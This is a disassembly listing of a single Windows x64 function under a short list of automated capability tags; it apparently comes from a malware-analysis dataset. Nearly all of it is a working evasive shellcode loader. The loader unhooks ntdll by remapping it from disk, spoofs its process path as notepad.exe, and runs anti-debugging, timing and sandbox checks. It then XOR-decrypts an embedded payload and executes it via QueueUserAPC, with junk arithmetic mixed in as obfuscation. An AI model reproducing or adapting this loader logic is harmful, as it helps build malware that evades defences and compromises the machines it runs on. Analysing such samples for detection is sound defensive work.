Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x848
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7f0], ecx
mov qword [rbp + 0x7f8], rdx
call fcn.140002800
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x750], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x7bc], 0xffffffff
add dword [rbp + 0x7bc], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005610]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003820
movq rax, xmm0
mov qword [rbp + 0x740], rax
cmp dword [rbp + 0x7bc], 0x363
jle 0x1400014b3
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
jne 0x140001581
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
je 0x140001930
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x738]
mov r10, qword [rbp + 0x7b0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x730], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x710], rax
mov dword [rbp + 0x7ac], 0xffffffff
mov ecx, 0x948
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
add dword [rbp + 0x7ac], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
movsd xmm1, qword [0x140005610]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7ac]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x708]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400037f0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7ac], 0x127
jle 0x1400016aa
mov rax, qword [rbp + 0x710]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x730]
add rax, rdx
mov qword [rbp + 0x700], rax
mov word [rbp + 0x7aa], 0
jmp 0x140001918
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x700]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7aa]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001907
mov dword [rbp + 0x584], 0
mov dword [rbp + 0x7a4], 0x190
mov dword [rbp + 0x7a0], 0x276
jmp 0x140001837
mov eax, dword [rbp + 0x7a4]
cmp eax, dword [rbp + 0x7a0]
jle 0x140001830
sub dword [rbp + 0x7a4], 1
jmp 0x140001837
sub dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a4], 0
jg 0x140001819
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x584]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x718]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x584]
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x584]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7aa]
add eax, 1
mov word [rbp + 0x7aa], ax
mov rax, qword [rbp + 0x700]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7aa], ax
jb 0x14000179f
mov dword [rbp + 0x79c], 0x26c
jmp 0x140001943
sub dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0
jg 0x14000193c
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x750]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x588], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x588]
mov r8, qword [rbp + 0x6e0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x588]
cmp eax, 1
je 0x14000273d
lea rax, str.nivblmbwztkd.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x14000273d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x140001acd
mov rax, qword [rbp + 0x6d0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x798], eax
cmp dword [rbp + 0x798], 0xffffffff
je 0x14000273d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov ecx, 0
call rax
mov dword [rbp + 0x6bc], eax
cmp dword [rbp + 0x6bc], 0xffffffff
je 0x14000273d
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
jne 0x14000273d
mov dword [rbp + 0x580], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x580]
mov r8, qword [rbp + 0x6a8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x580]
cmp eax, 1
je 0x14000273d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
je 0x140001c1b
mov rax, qword [rbp + 0x6a0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov ecx, 0
call rax
mov dword [rbp + 0x794], eax
cmp dword [rbp + 0x794], 0xffffffff
je 0x14000273d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
call rax
mov dword [rbp + 0x68c], eax
mov ecx, 0x20d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x690]
call rax
mov dword [rbp + 0x688], eax
mov eax, dword [rbp + 0x688]
sub eax, dword [rbp + 0x68c]
cmp eax, 0x1db
jbe 0x14000273d
mov qword [rbp + 0x680], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x678]
mov r9d, 0x3000
mov r8d, 0x429
mov edx, 0
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
je 0x14000273d
mov qword [rbp + 0x670], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x668]
mov r9d, 0x3000
mov r8d, 0x363
mov edx, 0
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
je 0x14000273d
lea rax, [rbp + 0xb0]
lea rdx, [0x140005148]
mov ecx, 0x99
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x788], 0
mov dword [rbp + 0x790], 0x37b
jmp 0x140001df0
mov eax, dword [rbp + 0x790]
cdqe
add qword [rbp + 0x788], rax
sub dword [rbp + 0x790], 1
cmp dword [rbp + 0x790], 0
jg 0x140001dda
mov rax, qword [rbp + 0x748]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x660]
mov r8d, 0
mov edx, 0x4c7
mov ecx, 0x40000
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x658]
mov r8d, 0x4c7
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x648], rax
mov ecx, 0x1678
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x784], 0
jmp 0x140001eec
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005610]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
movsd xmm1, qword [0x140005618]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x2ce
jle 0x140001e9e
mov dword [rbp + 0x784], 0
jmp 0x140001f56
mov eax, dword [rbp + 0x784]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x784]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x640]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x784], 1
cmp dword [rbp + 0x784], 0x2ce
jle 0x140001f04
mov rax, qword [rbp + 0x750]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x638]
mov r8d, 0x4c7
mov rcx, rax
call r9
mov qword [rbp + 0x778], 0
mov dword [rbp + 0x634], 0xf0
mov dword [rbp + 0x780], 1
jmp 0x140001fdb
mov eax, dword [rbp + 0x780]
cdqe
add qword [rbp + 0x778], rax
add dword [rbp + 0x780], 1
mov eax, dword [rbp + 0x780]
cmp eax, dword [rbp + 0x634]
jle 0x140001fc5
mov dword [rbp + 0x770], 0
mov dword [rbp + 0x76c], 0
movabs rax, 0xa4f71ca2307411c9
movabs rdx, 0xe0d0c6fe0efb73a6
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xd6760449968bdf2e
movabs rdx, 0x61e8df1dff92572a
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x4640b2bc1994e578
movabs rdx, 0xbe5a87d7fbf92ca
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x217217b89cbb9fd9
movabs rdx, 0x212b8ac18f66851a
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xbc2586ef20bfae99
movabs rdx, 0xdda7bcc39090337d
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x425b83c3896df20f
movabs rdx, 0xa98b74d078a80756
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x189b7960ebd1d388
movabs rdx, 0x52a190f3f80d1519
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xe862b0f29b2d4d55
movabs rdx, 0x49a1f699bbe6c6f7
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
mov byte [rbp + 0xa0], 0
mov ecx, 0x1e78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0x1e78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov ecx, 0x1e78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov dword [rbp + 0x768], 0
jmp 0x140002232
mov dword [rbp + 0x764], 0
jmp 0x14000221e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x768]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x628]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x764]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x768]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x620]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x764]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x31
jle 0x140002141
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x26
jle 0x140002132
mov dword [rbp + 0x768], 0
jmp 0x140002330
mov dword [rbp + 0x764], 0
jmp 0x14000231c
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x764]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x620]
add rdx, rax
mov eax, dword [rbp + 0x764]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x618]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x764]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x31
jle 0x14000225d
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x26
jle 0x14000224e
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xd5077f4180d3ebe4
movabs rdx, 0x49635c3d935a0afb
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x7397e0bbe6575f33
movabs rdx, 0xd741c9df5c29e82
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x2aca421d6a2ca2
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x760], 0x78
jmp 0x1400023c3
sub dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x4c
jg 0x1400023bc
mov dword [rbp + 0x774], 0
jmp 0x140002423
mov eax, dword [rbp + 0x774]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x770]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x774]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x770], 0x7f
jne 0x140002415
mov dword [rbp + 0x770], 0
jmp 0x14000241c
add dword [rbp + 0x770], 1
add dword [rbp + 0x774], 1
mov eax, dword [rbp + 0x774]
cmp eax, 0x26
jbe 0x1400023d8
mov dword [rbp + 0x774], 0
jmp 0x14000249b
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x76c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x76c], 0x26
jne 0x14000248d
mov dword [rbp + 0x76c], 0
jmp 0x140002494
add dword [rbp + 0x76c], 1
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x4c6
jle 0x14000243a
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x60c], 0
mov ecx, 0x3400
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov ecx, 0x3400
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov ecx, 0x3400
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x75c], 0
jmp 0x1400025cf
mov dword [rbp + 0x758], 0
jmp 0x1400025bb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x75c]
cdqe
shl rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x600]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x758]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x75c]
cdqe
shl rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x5f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x758]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x3f
jle 0x140002510
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x33
jle 0x140002501
mov dword [rbp + 0x75c], 0
jmp 0x140002688
mov dword [rbp + 0x758], 0
jmp 0x140002674
mov eax, dword [rbp + 0x75c]
cdqe
shl rax, 8
mov rdx, rax
mov rax, qword [rbp + 0x600]
add rdx, rax
mov eax, dword [rbp + 0x758]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x75c]
cdqe
shl rax, 8
mov rdx, rax
mov rax, qword [rbp + 0x5f8]
add rdx, rax
mov eax, dword [rbp + 0x758]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x75c]
cdqe
shl rax, 8
mov rdx, rax
mov rax, qword [rbp + 0x5f0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x758]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x3f
jle 0x1400025f7
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x33
jle 0x1400025eb
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x610]
mov r9, qword [rbp + 0x5e8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5e0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x848
pop rbx
pop rsi
pop rdi
pop rbp
ret